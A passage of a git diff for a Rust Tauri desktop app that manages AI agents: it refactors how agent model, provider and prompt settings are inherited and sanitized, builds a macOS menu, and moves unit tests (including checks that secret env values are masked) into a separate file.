a plain `with_items` submenu would skip +/// both silently -- no error, just a Window menu AppKit no longer manages. +#[cfg(target_os = "macos")] +pub fn build(app: &AppHandle) -> tauri::Result> { + let pkg_info = app.package_info(); + let config = app.config(); + let about_metadata = AboutMetadata { + name: Some(pkg_info.name.clone()), + version: Some(pkg_info.version.to_string()), + copyright: config.bundle.copyright.clone(), + authors: config.bundle.publisher.clone().map(|p| vec![p]), + ..Default::default() + }; + + Menu::with_items( + app, + &[ + &Submenu::with_items( + app, + pkg_info.name.clone(), + true, + &[ + &PredefinedMenuItem::about(app, None, Some(about_metadata))?, + &PredefinedMenuItem::separator(app)?, + &PredefinedMenuItem::services(app, None)?, + &PredefinedMenuItem::separator(app)?, + &PredefinedMenuItem::hide(app, None)?, + &PredefinedMenuItem::hide_others(app, None)?, + &PredefinedMenuItem::separator(app)?, + &PredefinedMenuItem::quit(app, None)?, + ], + )?, + // `Menu::default()`'s File submenu holds exactly one item on macOS + // -- close_window -- so dropping that item drops the submenu too. + &Submenu::with_items( + app, + "Edit", + true, + &[ + &PredefinedMenuItem::undo(app, None)?, + &PredefinedMenuItem::redo(app, None)?, + &PredefinedMenuItem::separator(app)?, + &PredefinedMenuItem::cut(app, None)?, + &PredefinedMenuItem::copy(app, None)?, + &PredefinedMenuItem::paste(app, None)?, + &PredefinedMenuItem::select_all(app, None)?, + ], + )?, + &Submenu::with_items( + app, + "View", + true, + &[&PredefinedMenuItem::fullscreen(app, None)?], + )?, + &Submenu::with_id_and_items( + app, + WINDOW_SUBMENU_ID, + "Window", + true, + &[ + &PredefinedMenuItem::minimize(app, None)?, + &PredefinedMenuItem::maximize(app, None)?, + ], + )?, + // Empty upstream too on macOS: About lives in the app submenu. + &Submenu::with_id_and_items(app, HELP_SUBMENU_ID, "Help", true, &[])?, + ], + ) +} diff --git a/desktop/src-tauri/src/commands/agent_config.rs b/desktop/src-tauri/src/commands/agent_config.rs index 5a26f0f645..2dc0ba0d69 100644 --- a/desktop/src-tauri/src/commands/agent_config.rs +++ b/desktop/src-tauri/src/commands/agent_config.rs @@ -8,14 +8,14 @@ use crate::{ read_goose_file_config, reader::read_config_surface, types::{ - AcpConfigOptionEntry, AcpConfigOptionValue, AcpModelEntry, ConfigOrigin, - NormalizedField, RuntimeConfigSurface, SessionConfigCache, + AcpConfigOptionEntry, AcpConfigOptionValue, AcpModelEntry, InheritedConfigTiers, + RuntimeConfigSurface, SessionConfigCache, }, }, - current_instance_id, known_acp_runtime, load_managed_agents, load_personas, - resolve_effective_prompt_model_provider, save_managed_agents, sync_managed_agent_processes, - AgentDefinition, GlobalAgentConfig, KnownAcpRuntime, ManagedAgentRecord, - ManagedAgentRuntimeKey, + current_instance_id, is_reserved_env_key, is_safe_to_reveal, is_well_formed_env_key, + known_acp_runtime, load_managed_agents, load_personas, save_managed_agents, + sync_managed_agent_processes, AgentDefinition, GlobalAgentConfig, KnownAcpRuntime, + ManagedAgentRecord, ManagedAgentRuntimeKey, MAX_ENV_VALUE_BYTES, }, }; @@ -31,33 +31,90 @@ pub struct RuntimeFileConfigSubset { pub provider: Option, /// Model set in the harness config file, if any. pub model: Option, - /// Flat credential env keys found in the harness config file's `extra` map - /// (e.g. `DATABRICKS_HOST`). Only non-empty values are included. + /// Flat credential env keys in the harness config file's `extra` map (e.g. `DATABRICKS_HOST`); only non-empty values included. pub satisfied_env_keys: Vec, } -/// Resolve the config surface with persona and global default values applied. -/// -/// Linked instances are definition-authoritative: the record's own -/// system_prompt/model/provider are cleared before applying, so a stale -/// materialized snapshot can never shadow the persona's current values or a -/// blank-definition fallthrough to global defaults (mirrors -/// `effective_config::resolve_linked`). Definition-less instances keep their -/// own explicit values. -/// -/// The pipeline: resolve the linked persona's prompt/model/provider, inject -/// each into the record only where the record lacks its own value, let -/// `read_config_surface` tag those injected fields `BuzzExplicit`, then re-tag -/// exactly the injected fields to `PersonaDefault`. +/// Sanitize a raw env map from an inherited tier (persona or global) with the +/// same rules `merged_user_env` applies at spawn time: reserved keys, malformed +/// keys, NUL-byte values, and oversize values are stripped silently. +fn sanitize_inherited_env( + raw: &std::collections::BTreeMap, +) -> std::collections::BTreeMap { + raw.iter() + .filter(|(k, v)| { + !is_reserved_env_key(k) + && is_well_formed_env_key(k) + && !v.contains('\0') + && v.len() <= MAX_ENV_VALUE_BYTES + }) + .map(|(k, v)| (k.clone(), v.clone())) + .collect() +} + +/// Normalize a structured field value: blank/whitespace-only collapses to +/// `None`, matching `effective_config`'s `non_blank` helper. +fn non_blank(v: Option<&str>) -> Option { + v.filter(|s| !s.trim().is_empty()).map(str::to_owned) +} + +/// Build a sanitized `InheritedConfigTiers` snapshot at the command boundary. /// -/// Global defaults fill in when neither the record nor the linked persona -/// provides a value. They are re-tagged to `GlobalDefault` so the UI can -/// display "inherited from global defaults". +/// Persona env, global env, and harness definition env are sanitized with +/// spawn-equivalent rules. Structured fields are normalized (blank → None). +/// A missing persona (orphaned link) yields empty persona tiers — the panel +/// still renders from record/global while spawn independently refuses. +fn build_inherited_tiers( + record_persona_id: Option<&str>, + record_runtime: Option<&str>, + personas: &[AgentDefinition], + global: &GlobalAgentConfig, +) -> InheritedConfigTiers { + let persona = record_persona_id.and_then(|pid| personas.iter().find(|p| p.id == pid)); + + let persona_env = persona + .map(|p| sanitize_inherited_env(&p.env_vars)) + .unwrap_or_default(); + let global_env = sanitize_inherited_env(&global.env_vars); + + // Definition env: same resolution as spawn (record.runtime → persona.runtime → ""). + // Reserved keys stripped; no malformed-key / NUL / oversize check needed because + // harness definitions are local admin-authored JSON, not user-provided data — but + // we apply `sanitize_inherited_env` for defense-in-depth (same rules as the other tiers). + let definition_env = { + let runtime_id = record_runtime + .or_else(|| persona.and_then(|p| p.runtime.as_deref())) + .unwrap_or(""); + crate::managed_agents::custom_harnesses::lookup_loaded_harness_by_id(runtime_id) + .map(|def| sanitize_inherited_env(&def.env)) + .unwrap_or_default() + }; + + let persona_model = persona.and_then(|p| non_blank(p.model.as_deref())); + let persona_provider = persona.and_then(|p| non_blank(p.provider.as_deref())); + let persona_prompt = persona.and_then(|p| non_blank(Some(&p.system_prompt))); + let global_model = non_blank(global.model.as_deref()); + let global_provider = non_blank(global.provider.as_deref()); + + InheritedConfigTiers { + persona_env, + global_env, + definition_env, + persona_model, + persona_provider, + persona_prompt, + global_model, + global_provider, + } +} + +/// Resolve the config surface with inherited persona and global tiers applied. /// -/// The re-tag is triple-gated — a field is re-tagged only when (a) the record -/// did not already have it (`!had_*`), (b) the surface produced the field, and -/// (c) the reader tagged it `BuzzExplicit`. A value the user set explicitly in -/// Buzz keeps `had_* == true` and is never re-tagged. +/// Persona-linked instances have their system_prompt/model/provider cleared +/// first (definition-authoritative): stale materialized snapshots can never +/// shadow live persona values. The reader then resolves each field through its +/// full candidate list (record env > ACP > persona env > global env > structured +/// persona/global > config file) via `resolve_with_override`. fn resolve_config_surface( mut record: ManagedAgentRecord, personas: &[AgentDefinition], @@ -65,146 +122,23 @@ fn resolve_config_surface( session_cache: Option<&SessionConfigCache>, global: &GlobalAgentConfig, ) -> RuntimeConfigSurface { - // Linked instances are definition-authoritative (mirrors - // `effective_config::resolve_linked`): the record's own - // system_prompt/model/provider fields are, at best, a stale materialized - // snapshot from the last `apply_persona_snapshot` — never a legitimate - // live override, since `update_managed_agent` blocks writing these three - // fields for linked instances. Clear them before computing `had_*` below - // so a stale byte can never masquerade as BuzzExplicit and suppress - // definition/global injection. Env var overrides (set via the advanced - // env-vars editor) are untouched — those remain a legitimate - // per-instance override regardless of link status. + // Linked instances are definition-authoritative: clear stale materialized + // model/provider/prompt so they can never masquerade as BuzzExplicit and + // shadow definition values. Env var overrides are untouched. if record.persona_id.is_some() { record.system_prompt = None; record.model = None; record.provider = None; } - let had_prompt = - record.system_prompt.is_some() || record.env_vars.contains_key("BUZZ_ACP_SYSTEM_PROMPT"); - let had_model = record.model.is_some(); - - let provider_env_key = runtime_meta.and_then(|m| m.provider_env_var).unwrap_or(""); - let had_provider = record.env_vars.contains_key(provider_env_key); - - let (persona_prompt, persona_model, persona_provider) = resolve_effective_prompt_model_provider( + let tiers = build_inherited_tiers( record.persona_id.as_deref(), + record.runtime.as_deref(), personas, - record.system_prompt.clone(), - record.model.clone(), - record.provider.clone(), - ); - - // Build the baseline the reader overrides a live model against, paired with - // its true origin so the secondary is tagged correctly. Two sources: - // - persona-linked, no explicit record model: the persona model is the - // baseline (PersonaDefault). - // - genuine-explicit (record had its own model) that live-switched: the - // record's own model is the baseline (BuzzExplicit). Gated behind - // `model_overridden` so a persona edited mid-life (override flag false) - // never synthesizes a baseline and false-positives an override. - // An explicit pick with no live switch has no baseline to override. - let model_overridden = session_cache.is_some_and(|c| c.model_overridden); - let baseline = if had_model { - if model_overridden { - record - .model - .clone() - .map(|m| (m, ConfigOrigin::BuzzExplicit)) - } else { - None - } - } else { - // Prefer persona as baseline, fall back to global when persona has none - // and the model was overridden mid-session (global-default agent). - persona_model - .clone() - .map(|m| (m, ConfigOrigin::PersonaDefault)) - .or_else(|| { - if model_overridden { - global - .model - .clone() - .map(|m| (m, ConfigOrigin::GlobalDefault)) - } else { - None - } - }) - }; - - // Inject resolved persona values into the record where absent. - if !had_prompt { - if let Some(p) = persona_prompt { - record - .env_vars - .insert("BUZZ_ACP_SYSTEM_PROMPT".to_string(), p); - } - } - if !had_model { - record.model = persona_model.clone(); - } - if !had_provider && !provider_env_key.is_empty() { - if let Some(prov) = persona_provider { - record.env_vars.insert(provider_env_key.to_string(), prov); - } - } - - // Inject global defaults where neither the record nor the persona had a value. - // Track injection so we can re-tag to GlobalDefault after the reader. - let inject_global_model = !had_model && record.model.is_none(); - let inject_global_provider = !had_provider - && !provider_env_key.is_empty() - && !record.env_vars.contains_key(provider_env_key); - - if inject_global_model { - record.model = global.model.clone(); - } - if inject_global_provider { - if let Some(ref gprov) = global.provider { - record - .env_vars - .insert(provider_env_key.to_string(), gprov.clone()); - } - } - - let mut surface = read_config_surface( - &record, - runtime_meta, - session_cache, - baseline.as_ref().map(|(m, o)| (m.as_str(), o.clone())), + global, ); - // Re-tag persona-sourced fields from BuzzExplicit to PersonaDefault. - if !had_prompt { - retag_persona_default(&mut surface.normalized.system_prompt); - } - if !had_model && !inject_global_model { - retag_persona_default(&mut surface.normalized.model); - } - if !had_provider && !provider_env_key.is_empty() && !inject_global_provider { - retag_persona_default(&mut surface.normalized.provider); - } - - // Re-tag global-sourced fields from BuzzExplicit to GlobalDefault. - if inject_global_model { - retag_global_default(&mut surface.normalized.model); - } - if inject_global_provider { - retag_global_default(&mut surface.normalized.provider); - } - - surface -} - -/// Re-tag a field's origin from `BuzzExplicit` to `PersonaDefault`, leaving any -/// other origin untouched. No-op when the field is absent. -fn retag_persona_default(field: &mut Option) { - if let Some(field) = field { - if field.origin == ConfigOrigin::BuzzExplicit { - field.origin = ConfigOrigin::PersonaDefault; - } - } + read_config_surface(&record, runtime_meta, session_cache, &tiers) } /// Get the file-layer config for a runtime — used by the Create/Edit/Persona @@ -275,27 +209,6 @@ pub struct BakedEnvEntry { pub masked: bool, } -/// Returns `true` when a baked-env key is safe to display unmasked in the UI. -/// -/// This uses an explicit allowlist of keys that are known safe (non-secret). -/// Any key NOT in this set is masked — default-deny for a security surface. -/// -/// Allowlist (case-insensitive): -/// - `BUZZ_AGENT_PROVIDER`, `BUZZ_AGENT_MODEL` — agent runtime selection -/// - `BUZZ_AGENT_THINKING_EFFORT` — non-secret enum (none/minimal/low/medium/high/xhigh/max) -/// - `DATABRICKS_HOST`, `DATABRICKS_MODEL` — Block non-secret defaults -fn is_safe_to_reveal(key: &str) -> bool { - const SAFE_KEYS: &[&str] = &[ - "BUZZ_AGENT_PROVIDER", - "BUZZ_AGENT_MODEL", - "BUZZ_AGENT_THINKING_EFFORT", - "DATABRICKS_HOST", - "DATABRICKS_MODEL", - ]; - let upper = key.to_ascii_uppercase(); - SAFE_KEYS.iter().any(|safe| upper == *safe) -} - /// Expose the baked build env to the frontend with values shown, but any /// key not in the safe-to-reveal allowlist has its value replaced by `••••••`. /// @@ -327,16 +240,6 @@ pub fn get_baked_build_env() -> Vec { .collect() } -/// Re-tag a field's origin from `BuzzExplicit` to `GlobalDefault`, leaving any -/// other origin untouched. No-op when the field is absent. -fn retag_global_default(field: &mut Option) { - if let Some(field) = field { - if field.origin == ConfigOrigin::BuzzExplicit { - field.origin = ConfigOrigin::GlobalDefault; - } - } -} - /// Get the full config surface for a managed agent. /// /// Returns normalized + advanced config from all available tiers. @@ -601,511 +504,5 @@ fn parse_models(raw: Option<&serde_json::Value>) -> (Vec, Option< } #[cfg(test)] -mod tests { - use super::*; - use crate::managed_agents::{BackendKind, RespondTo}; - - fn goose_runtime() -> &'static KnownAcpRuntime { - &KnownAcpRuntime { - id: "goose", - label: "Goose", - commands: &["goose"], - aliases: &[], - avatar_url: "", - mcp_command: None, - mcp_hooks: false, - underlying_cli: None, - cli_install_commands: &[], - cli_install_commands_windows: &[], - adapter_install_commands: &[], - cli_install_instructions_url: "", - adapter_install_instructions_url: "", - cli_install_hint: "", - adapter_install_hint: "", - skill_dir: None, - supports_acp_model_switching: false, - model_env_var: Some("GOOSE_MODEL"), - provider_env_var: Some("GOOSE_PROVIDER"), - provider_locked: false, - default_env: &[], - config_file_path: Some("~/.config/goose/config.yaml"), - config_file_format: Some("yaml"), - supports_acp_native_config: true, - thinking_env_var: Some("GOOSE_THINKING_EFFORT"), - max_tokens_env_var: Some("GOOSE_MAX_TOKENS"), - context_limit_env_var: Some("GOOSE_CONTEXT_LIMIT"), - required_normalized_fields: &["model", "provider"], - login_hint: None, - auth_probe_args: None, - } - } - - fn agent_record() -> ManagedAgentRecord { - ManagedAgentRecord { - pubkey: "agent".to_string(), - name: "Agent".to_string(), - persona_id: Some("persona-1".to_string()), - private_key_nsec: "".to_string(), - auth_tag: None, - relay_url: "ws://localhost:3000".to_string(), - avatar_url: None, - acp_command: "buzz-acp".to_string(), - agent_command: "goose".to_string(), - agent_args: vec![], - mcp_command: "".to_string(), - turn_timeout_seconds: 300, - idle_timeout_seconds: None, - max_turn_duration_seconds: None, - parallelism: 1, - system_prompt: None, - model: None, - env_vars: Default::default(), - start_on_app_launch: false, - auto_restart_on_config_change: true, - runtime_pid: None, - backend: BackendKind::Local, - backend_agent_id: None, - provider_binary_path: None, - team_id: None, - persona_team_dir: None, - persona_name_in_team: None, - created_at: "".to_string(), - updated_at: "".to_string(), - last_started_at: None, - last_stopped_at: None, - last_exit_code: None, - last_error: None, - last_error_code: None, - respond_to: RespondTo::OwnerOnly, - respond_to_allowlist: vec![], - display_name: None, - slug: None, - runtime: None, - name_pool: Vec::new(), - is_builtin: false, - is_active: true, - shared: false, - source_team: None, - source_team_persona_slug: None, - catalog_source: None, - definition_respond_to: None, - definition_respond_to_allowlist: Vec::new(), - definition_parallelism: None, - relay_mesh: None, - agent_command_override: None, - persona_source_version: None, - provider: None, - } - } - - fn persona_with_model(model: &str) -> AgentDefinition { - AgentDefinition { - id: "persona-1".to_string(), - display_name: "Persona".to_string(), - avatar_url: None, - system_prompt: "You are a persona.".to_string(), - runtime: None, - model: Some(model.to_string()), - provider: None, - name_pool: Vec::new(), - is_builtin: false, - is_active: true, - shared: false, - source_team: None, - source_team_persona_slug: None, - catalog_source: None, - env_vars: Default::default(), - respond_to: None, - respond_to_allowlist: Vec::new(), - parallelism: None, - created_at: "".to_string(), - updated_at: "".to_string(), - } - } - - /// A post-spawn session cache whose live model is `current_model` and whose - /// `model_overridden` flag records whether a `SwitchModel` control signal set - /// it (the live-switch signal). - fn session_cache(current_model: &str, model_overridden: bool) -> SessionConfigCache { - SessionConfigCache { - config_options: vec![], - available_modes: vec![], - available_models: vec![], - current_model: Some(current_model.to_string()), - model_overridden, - goose_native_config: None, - captured_at: "".to_string(), - } - } - - /// Definition-authoritative: a stale materialized `record.model` on a - /// linked instance must never outrank (or even be consulted against) the - /// linked persona's model. `update_managed_agent` already blocks writing - /// model/provider/prompt for linked instances, so a non-`None` value here - /// can only be leftover snapshot bytes from before a persona edit — the - /// panel must report the persona's current model, tagged `PersonaDefault`, - /// not the stale byte as `BuzzExplicit`. - #[test] - fn linked_stale_record_model_never_outranks_persona_model() { - let mut record = agent_record(); - record.model = Some("stale-explicit-model".to_string()); - let personas = vec![persona_with_model("persona-model")]; - - let surface = resolve_config_surface( - record, - &personas, - Some(goose_runtime()), - None, - &Default::default(), - ); - - let model = surface.normalized.model.as_ref().expect("model resolved"); - assert_eq!(model.value.as_deref(), Some("persona-model")); - assert_eq!(model.origin, ConfigOrigin::PersonaDefault); - } - - /// Definition-authoritative, blank-definition case: a linked instance - /// whose persona has no model of its own must fall through to the global - /// default, tagged `GlobalDefault` — mirroring - /// `effective_config::resolve_linked`'s `None => global` arm. A stale - /// materialized record model must not shadow this fallthrough either. - #[test] - fn linked_blank_definition_model_falls_through_to_global_default() { - let mut record = agent_record(); - record.model = Some("stale-explicit-model".to_string()); - let mut persona = persona_with_model("unused"); - persona.model = None; - let personas = vec![persona]; - let global = crate::managed_agents::GlobalAgentConfig { - model: Some("global-model".to_string()), - ..Default::default() - }; - - let surface = - resolve_config_surface(record, &personas, Some(goose_runtime()), None, &global); - - let model = surface.normalized.model.as_ref().expect("model resolved"); - assert_eq!(model.value.as_deref(), Some("global-model")); - assert_eq!(model.origin, ConfigOrigin::GlobalDefault); - } - - /// A definition-less (no `persona_id`) instance's own explicit model IS - /// authoritative — the stale-record clearing above is scoped to linked - /// instances only. - #[test] - fn definition_less_explicit_record_model_keeps_buzz_explicit_origin() { - let mut record = agent_record(); - record.persona_id = None; - record.model = Some("explicit-model".to_string()); - let personas = vec![persona_with_model("persona-model")]; - - let surface = resolve_config_surface( - record, - &personas, - Some(goose_runtime()), - None, - &Default::default(), - ); - - let model = surface.normalized.model.as_ref().expect("model resolved"); - assert_eq!(model.value.as_deref(), Some("explicit-model")); - assert_eq!(model.origin, ConfigOrigin::BuzzExplicit); - } - - /// Part A — pending-pick: a genuine-explicit pick X with a divergent live - /// model Y but `model_overridden == false` (the live switch is not yet - /// applied — a restart is pending) must keep X as the primary and must NOT - /// surface Y as an override row. The live `acp_model` does not win. This - /// FAILS against a let-live-acp-win variant (one that dropped the - /// `model_overridden` gate), so it is not vacuous. - #[test] - fn pending_pick_keeps_explicit_x_and_does_not_surface_live_y() { - let mut record = agent_record(); - record.persona_id = None; - record.model = Some("model-x".to_string()); - let personas: Vec = vec![]; - let cache = session_cache("model-y", false); - - let surface = resolve_config_surface( - record, - &personas, - Some(goose_runtime()), - Some(&cache), - &Default::default(), - ); - let model = surface.normalized.model.expect("model resolved"); - - assert_eq!(model.value.as_deref(), Some("model-x")); - assert_eq!(model.origin, ConfigOrigin::BuzzExplicit); - assert_ne!(model.origin, ConfigOrigin::RuntimeOverride); - assert_ne!(model.overridden_value.as_deref(), Some("model-y")); - } - - /// W2 — genuine-explicit live switch: record.model = X, no persona, - /// `model_overridden == true`, live model = Y. The live Y must render as the - /// primary with a `RuntimeOverride` origin and X as the secondary tagged - /// `BuzzExplicit` (its true source — NOT `PersonaDefault`). FAILS against the - /// shipped no-persona early-return, which left X as primary and Y struck. - #[test] - fn genuine_explicit_live_switch_renders_y_over_x_buzz_explicit_secondary() { - let mut record = agent_record(); - record.persona_id = None; - record.model = Some("model-x".to_string()); - let personas: Vec = vec![]; - let cache = session_cache("model-y", true); - - let surface = resolve_config_surface( - record, - &personas, - Some(goose_runtime()), - Some(&cache), - &Default::default(), - ); - let model = surface.normalized.model.expect("model resolved"); - - assert_eq!(model.value.as_deref(), Some("model-y")); - assert_eq!(model.origin, ConfigOrigin::RuntimeOverride); - assert_eq!(model.overridden_value.as_deref(), Some("model-x")); - assert_eq!(model.overridden_origin, Some(ConfigOrigin::BuzzExplicit)); - } - - /// Y==X collision: a genuine-explicit agent live-switches to the SAME value - /// it already had. There is no real divergence, so the field must be a clean - /// single value with NO secondary row. FAILS against a naive `return base` - /// that would leak the `AcpConfigOption` row `build_model_field` populates. - #[test] - fn genuine_explicit_live_switch_to_same_model_yields_clean_field() { - let mut record = agent_record(); - record.persona_id = None; - record.model = Some("model-x".to_string()); - let personas: Vec = vec![]; - let cache = session_cache("model-x", true); - - let surface = resolve_config_surface( - record, - &personas, - Some(goose_runtime()), - Some(&cache), - &Default::default(), - ); - let model = surface.normalized.model.expect("model resolved"); - - assert_eq!(model.value.as_deref(), Some("model-x")); - assert_eq!(model.overridden_value, None); - assert_eq!(model.overridden_origin, None); - } - - /// Persona parity (regression): a persona-linked agent with no explicit - /// record model that live-switches still renders the persona model as the - /// secondary tagged `PersonaDefault` — the typed-baseline change must NOT - /// regress the persona arm to a different origin. - #[test] - fn persona_linked_live_switch_keeps_persona_default_secondary() { - let record = agent_record(); - let personas = vec![persona_with_model("persona-model")]; - let cache = session_cache("model-y", true); - - let surface = resolve_config_surface( - record, - &personas, - Some(goose_runtime()), - Some(&cache), - &Default::default(), - ); - let model = surface.normalized.model.expect("model resolved"); - - assert_eq!(model.value.as_deref(), Some("model-y")); - assert_eq!(model.origin, ConfigOrigin::RuntimeOverride); - assert_eq!(model.overridden_value.as_deref(), Some("persona-model")); - assert_eq!(model.overridden_origin, Some(ConfigOrigin::PersonaDefault)); - } - - /// Fix 2 regression: a global-default-only agent (no record model, no - /// persona model, but global has a model) that live-switches mid-session - /// must render the global model as the secondary tagged `GlobalDefault`. - /// Before the fix, `baseline` was `None` in the `!had_model` arm when - /// persona has no model, so `read_config_surface` had no secondary to - /// surface. Fails against pre-fix code where the baseline arm returned - /// `None` when `!had_model && persona_model.is_none() && model_overridden`. - #[test] - fn global_default_live_switch_renders_global_model_as_secondary_global_default() { - // Record has no model, no persona, global provides the model. - let mut record = agent_record(); - record.persona_id = None; - // record.model = None (set by agent_record()) - let personas: Vec = vec![]; - let cache = session_cache("model-y", true); - let global = crate::managed_agents::GlobalAgentConfig { - model: Some("global-model".to_string()), - ..Default::default() - }; - - let surface = resolve_config_surface( - record, - &personas, - Some(goose_runtime()), - Some(&cache), - &global, - ); - let model = surface.normalized.model.expect("model resolved"); - - // Live model wins as primary. - assert_eq!(model.value.as_deref(), Some("model-y")); - assert_eq!(model.origin, ConfigOrigin::RuntimeOverride); - // Global model surfaces as secondary, tagged GlobalDefault. - assert_eq!( - model.overridden_value.as_deref(), - Some("global-model"), - "global model must be the override baseline secondary" - ); - assert_eq!( - model.overridden_origin, - Some(ConfigOrigin::GlobalDefault), - "override baseline origin must be GlobalDefault, not PersonaDefault or BuzzExplicit" - ); - } - - // ── get_baked_build_env / is_secret_key tests ────────────────────────── - - /// Build a `BakedEnvEntry` vec from a synthetic map, mirroring what - /// `get_baked_build_env()` does. Used to test masking without relying on - /// compile-time `option_env!` vars (OSS builds have empty `baked_build_env`). - fn baked_env_from_map(map: &[(&str, &str)]) -> Vec { - map.iter() - .filter(|(_, v)| !v.is_empty()) - .map(|(k, v)| { - let masked = !super::is_safe_to_reveal(k); - BakedEnvEntry { - key: k.to_string(), - value: if masked { - "\u{2022}\u{2022}\u{2022}\u{2022}\u{2022}\u{2022}".to_string() - } else { - v.to_string() - }, - masked, - } - }) - .collect() - } - - #[test] - fn baked_env_non_secret_key_shows_real_value() { - let entries = baked_env_from_map(&[("BUZZ_AGENT_PROVIDER", "databricks_v2")]); - assert_eq!(entries.len(), 1); - assert_eq!(entries[0].key, "BUZZ_AGENT_PROVIDER"); - assert_eq!(entries[0].value, "databricks_v2"); - assert!(!entries[0].masked); - } - - #[test] - fn baked_env_api_key_is_masked() { - let entries = baked_env_from_map(&[("ANTHROPIC_API_KEY", "sk-secret")]); - assert_eq!(entries.len(), 1); - assert_eq!(entries[0].value, "••••••"); - assert!(entries[0].masked); - } - - #[test] - fn baked_env_token_key_is_masked() { - let entries = baked_env_from_map(&[("GITHUB_TOKEN", "ghp_secret")]); - assert_eq!(entries.len(), 1); - assert!(entries[0].masked); - } - - #[test] - fn baked_env_secret_key_is_masked() { - let entries = baked_env_from_map(&[("MY_DB_SECRET", "s3cr3t")]); - assert_eq!(entries.len(), 1); - assert!(entries[0].masked); - } - - #[test] - fn baked_env_password_key_is_masked() { - let entries = baked_env_from_map(&[("DB_PASSWORD", "hunter2")]); - assert_eq!(entries.len(), 1); - assert!(entries[0].masked); - } - - #[test] - fn baked_env_empty_value_filtered_out() { - let entries = baked_env_from_map(&[("BUZZ_AGENT_PROVIDER", "")]); - assert!(entries.is_empty()); - } - - #[test] - fn baked_env_mixed_keys_correct_masking() { - let entries = baked_env_from_map(&[ - ("BUZZ_AGENT_PROVIDER", "databricks_v2"), - ("BUZZ_AGENT_MODEL", "goose-claude-opus-4-8"), - ("DATABRICKS_HOST", "https://example.com"), - ("DATABRICKS_TOKEN", "dapi-secret"), - ]); - assert_eq!(entries.len(), 4); - - let provider = entries - .iter() - .find(|e| e.key == "BUZZ_AGENT_PROVIDER") - .unwrap(); - assert_eq!(provider.value, "databricks_v2"); - assert!(!provider.masked); - - let model = entries - .iter() - .find(|e| e.key == "BUZZ_AGENT_MODEL") - .unwrap(); - assert_eq!(model.value, "goose-claude-opus-4-8"); - assert!(!model.masked); - - let host = entries.iter().find(|e| e.key == "DATABRICKS_HOST").unwrap(); - assert_eq!(host.value, "https://example.com"); - assert!(!host.masked); - - let token = entries - .iter() - .find(|e| e.key == "DATABRICKS_TOKEN") - .unwrap(); - assert_eq!(token.value, "••••••"); - assert!(token.masked); - } - - #[test] - fn baked_env_thinking_effort_is_unmasked() { - // BUZZ_AGENT_THINKING_EFFORT is a non-secret enum — must not be masked. - let entries = baked_env_from_map(&[("BUZZ_AGENT_THINKING_EFFORT", "medium")]); - assert_eq!(entries.len(), 1); - let effort = entries - .iter() - .find(|e| e.key == "BUZZ_AGENT_THINKING_EFFORT") - .unwrap(); - assert_eq!(effort.value, "medium"); - assert!(!effort.masked); - } - - #[test] - fn baked_env_allowlist_is_case_insensitive() { - // Known-safe keys — case-insensitive match must allow them. - assert!(super::is_safe_to_reveal("buzz_agent_provider")); - assert!(super::is_safe_to_reveal("BUZZ_AGENT_PROVIDER")); - assert!(super::is_safe_to_reveal("buzz_agent_model")); - assert!(super::is_safe_to_reveal("BUZZ_AGENT_MODEL")); - assert!(super::is_safe_to_reveal("buzz_agent_thinking_effort")); - assert!(super::is_safe_to_reveal("BUZZ_AGENT_THINKING_EFFORT")); - assert!(super::is_safe_to_reveal("databricks_host")); - assert!(super::is_safe_to_reveal("DATABRICKS_HOST")); - assert!(super::is_safe_to_reveal("databricks_model")); - assert!(super::is_safe_to_reveal("DATABRICKS_MODEL")); - // Keys NOT in the allowlist — masked regardless of naming pattern. - assert!(!super::is_safe_to_reveal("my_api_key")); - assert!(!super::is_safe_to_reveal("GITHUB_TOKEN")); - assert!(!super::is_safe_to_reveal("DB_SECRET")); - assert!(!super::is_safe_to_reveal("DB_PASSWORD")); - // Bare names that old heuristic (contains("_TOKEN") etc.) would have missed. - assert!(!super::is_safe_to_reveal("APIKEY")); - assert!(!super::is_safe_to_reveal("TOKEN")); - assert!(!super::is_safe_to_reveal("SECRET")); - assert!(!super::is_safe_to_reveal("PASSWORD")); - assert!(!super::is_safe_to_reveal("PRIVATE_KEY")); - // Unknown key → masked by default. - assert!(!super::is_safe_to_reveal("SOME_UNKNOWN_KEY")); - } -} +#[path = "agent_config_tests.rs"] +mod tests; diff --git a/desktop/src-tauri/src/commands/agent_config_tests.rs b/desktop/src-tauri/src/commands/agent_config_tests.rs new file mode 100644 index 0000000000..5519153578 --- /dev/null +++ b/desktop/src-tauri/src/commands/agent_config_tests.rs @@ -0,0 +1,652 @@ +//! Unit tests for `commands/agent_config.rs` (split to keep `agent_config.rs` +//! under the 1000-line file-size ratchet). +//! +//! Included via `#[path = "agent_config_tests.rs"] mod tests;` at the bottom of +//! `agent_config.rs`, so `use super::*` gives access to all items in that module. + +use super::*; +use crate::managed_agents::config_bridge::types::ConfigOrigin; +use crate::managed_agents::{BackendKind, RespondTo}; + +use std::sync::Mutex; + +static GOOSE_PATH_ROOT_LOCK: Mutex<()> = Mutex::new(()); + +/// Run a test body with GOOSE_PATH_ROOT set to a non-existent path so that the +/// goose config file read returns `None`. Restores the prior value on exit. +fn with_no_goose_config(body: impl FnOnce() -> T) -> T { + let _guard = GOOSE_PATH_ROOT_LOCK + .lock() + .unwrap_or_else(|err| err.into_inner()); + let prior = std::env::var_os("GOOSE_PATH_ROOT"); + std::env::set_var("GOOSE_PATH_ROOT", "/nonexistent-buzz-test-path"); + let output = body(); + match prior { + Some(value) => std::env::set_var("GOOSE_PATH_ROOT", value), + None => std::env::remove_var("GOOSE_PATH_ROOT"), + } + output +} + +fn goose_runtime() -> &'static KnownAcpRuntime { + &KnownAcpRuntime { + id: "goose", + label: "Goose", + commands: &["goose"], + aliases: &[], + avatar_url: "", + mcp_command: None, + mcp_hooks: false, + underlying_cli: None, + cli_install_commands: &[], + cli_install_commands_windows: &[], + adapter_install_commands: &[], + cli_install_instructions_url: "", + adapter_install_instructions_url: "", + cli_install_hint: "", + adapter_install_hint: "", + skill_dir: None, + supports_acp_model_switching: false, + model_env_var: Some("GOOSE_MODEL"), + provider_env_var: Some("GOOSE_PROVIDER"), + provider_locked: false, + default_env: &[], + config_file_path: Some("~/.config/goose/config.yaml"), + config_file_format: Some("yaml"), + supports_acp_native_config: true, + thinking_env_var: Some("GOOSE_THINKING_EFFORT"), + max_tokens_env_var: Some("GOOSE_MAX_TOKENS"), + context_limit_env_var: Some("GOOSE_CONTEXT_LIMIT"), + max_rounds_env_var: None, + required_normalized_fields: &["model", "provider"], + login_hint: None, + auth_probe_args: None, + } +} + +fn agent_record() -> ManagedAgentRecord { + ManagedAgentRecord { + pubkey: 